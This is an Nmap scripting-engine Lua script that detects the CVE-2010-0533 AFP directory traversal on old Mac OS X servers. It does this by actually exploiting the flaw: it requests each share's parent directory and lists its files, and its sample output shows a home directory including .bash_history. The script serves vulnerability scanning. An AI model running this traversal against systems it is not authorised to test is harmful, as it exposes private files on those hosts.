local afp = require "afp" local nmap = require "nmap" local shortport = require "shortport" local stdnse = require "stdnse" local table = require "table" local vulns = require "vulns" description = [[ Detects the Mac OS X AFP directory traversal vulnerability, CVE-2010-0533. This script attempts to iterate over all AFP shares on the remote host. For each share it attempts to access the parent directory by exploiting the directory traversal vulnerability as described in CVE-2010-0533. The script reports whether the system is vulnerable or not. In addition it lists the contents of the parent and child directories to a max depth of 2. When running in verbose mode, all items in the listed directories are shown. In non verbose mode, output is limited to the first 5 items. If the server is not vulnerable, the script will not return any information. For additional information: * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0533 * http://www.cqure.net/wp/2010/03/detecting-apple-mac-os-x-afp-vulnerability-cve-2010-0533-with-nmap * http://support.apple.com/kb/HT1222 ]] --- -- --@output -- PORT STATE SERVICE -- 548/tcp open afp -- | afp-path-vuln: -- | VULNERABLE: -- | Apple Mac OS X AFP server directory traversal -- | State: VULNERABLE (Exploitable) -- | IDs: CVE:CVE-2010-0533 -- | Risk factor: High CVSSv2: 7.5 (HIGH) (AV:N/AC:L/Au:N/C:P/I:P/A:P) -- | Description: -- | Directory traversal vulnerability in AFP Server in Apple Mac OS X before -- | 10.6.3 allows remote attackers to list a share root's parent directory. -- | Disclosure date: 2010-03-29 -- | Exploit results: -- | Patrik Karlsson's Public Folder/../ (5 first items) -- | .bash_history -- | .bash_profile -- | .CFUserTextEncoding -- | .config/ -- | .crash_report_checksum -- | References: -- | http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0533 -- | http://support.apple.com/kb/HT1222 -- |_ http://www.cqure.net/wp/2010/03/detecting-apple-mac-os-x-afp-vulnerability-cve-2010-0533-with-nmap -- -- -- Version 0.3 -- -- Created 02/09/2010 - v0.1 - created by Patrik Karlsson as PoC for Apple -- Revised 05/03/2010 - v0.2 - cleaned up and added dependency to afp-brute and added support -- for credentials by argument or registry -- Revised 10/03/2010 - v0.3 - combined afp-path-exploit and afp-path-vuln into this script -- Revised 21/10/2011 - v0.4 - Use the vulnerability library vulns.lua author = "Patrik Karlsson" license = "Same as Nmap--See https://nmap.org/book/man-legal.html" categories = {"exploit", "intrusive", "vuln"} dependencies = {"afp-brute"} portrule = shortport.portnumber(548, "tcp") --- This function processes the table returned by the Dir method of the Helper class -- -- @param tbl table containing the table as return from the Dir method -- @param max_count number containing the maximum items to return -- @param out table used when called recursively should be nil on first call -- @param count number with total amount of entries so far, nil at first call -- @return table suitable for stdnse.format_output local function processResponse( tbl, max_count, out, count ) local out = out or {} local count = count or 0 for _, v in ipairs(tbl) do if ( max_count and max_count > 0 and max_count <= count ) then break end if ( v.name ) then local sfx = ( v.type == 0x80 ) and "/" or "" table.insert(out, v.name .. sfx ) count = count + 1 elseif( type(v) == 'table' ) then local tmp = {} table.insert( out, tmp ) processResponse( v, max_count, tmp, count ) end end -- strip the outer table return out[1] end --- This function simply checks if the table contains a Directory Id (DID) of 2 -- The DID of the AFP sharepoint is always 2, but no child should have this DID -- -- @param tbl table containing the table as return from the Dir method -- @return true if host is vulnerable, false otherwise local function isVulnerable( tbl ) for _, v in ipairs(tbl) do -- if we got no v.id it's probably a container table if ( not(v.id) ) then if ( isVulnerable(v) ) then return true end end if ( v.id == 2 ) then return true end end return false end action = function(host, port) local status, response, shares local afp_helper = afp.Helper:new() local args = nmap.registry.args local users = nmap.registry.afp or { ['nil'] = 'nil' } local vulnerable = false local MAX_FILES = 5 local afp_vuln = { title = "Apple Mac OS X AFP server directory traversal", IDS = {CVE = 'CVE-2010-0533'}, risk_factor = "High", scores = { CVSSv2 = "7.5 (HIGH) (AV:N/AC:L/Au:N/C:P/I:P/A:P)", }, description = [[ Directory traversal vulnerability in AFP Server in Apple Mac OS X before 10.6.3 allows remote attackers to list a share root's parent directory.]], references = { 'http://www.cqure.net/wp/2010/03/detecting-apple-mac-os-x-afp-vulnerability-cve-2010-0533-with-nmap', 'http://support.apple.com/kb/HT1222', }, dates = { disclosure = {year = '2010', month = '03', day = '29'}, }, exploit_results = {}, } local report = vulns.Report:new(SCRIPT_NAME, host, port) if ( args['afp.username'] ) then users = {} users[args['afp.username']] = args['afp.password'] end for username, password in pairs(users) do status, response = afp_helper:OpenSession(host, port) if ( not(status) ) then stdnse.debug1("%s", response) return end -- Attempt to use No User Authentication? if ( username ~= 'nil' ) then status, response = afp_helper:Login(username, password) else status, response = afp_helper:Login(nil, nil) end if ( not(status) ) then stdnse.debug1("Login failed") stdnse.debug3("Login error: %s", response) return end status, shares = afp_helper:ListShares() for _, share in ipairs(shares) do local status, response = afp_helper:Dir( share .. "/../", { max_depth = 2 } ) if ( not(status) ) then stdnse.debug3("%s", response) else if ( isVulnerable( response ) ) then vulnerable = true if(nmap.verbosity() > 1) then response = processResponse( response ) local name = share .. "/../" table.insert(afp_vuln.exploit_results, name) else response = processResponse( response, MAX_FILES ) local name = share .. ("/../ (%d first items)"):format(MAX_FILES) table.insert(afp_vuln.exploit_results, name) end table.insert(afp_vuln.exploit_results, response) end end end end if ( vulnerable ) then afp_vuln.state = vulns.STATE.EXPLOIT else afp_vuln.state = vulns.STATE.NOT_VULN end return report:make_output(afp_vuln) end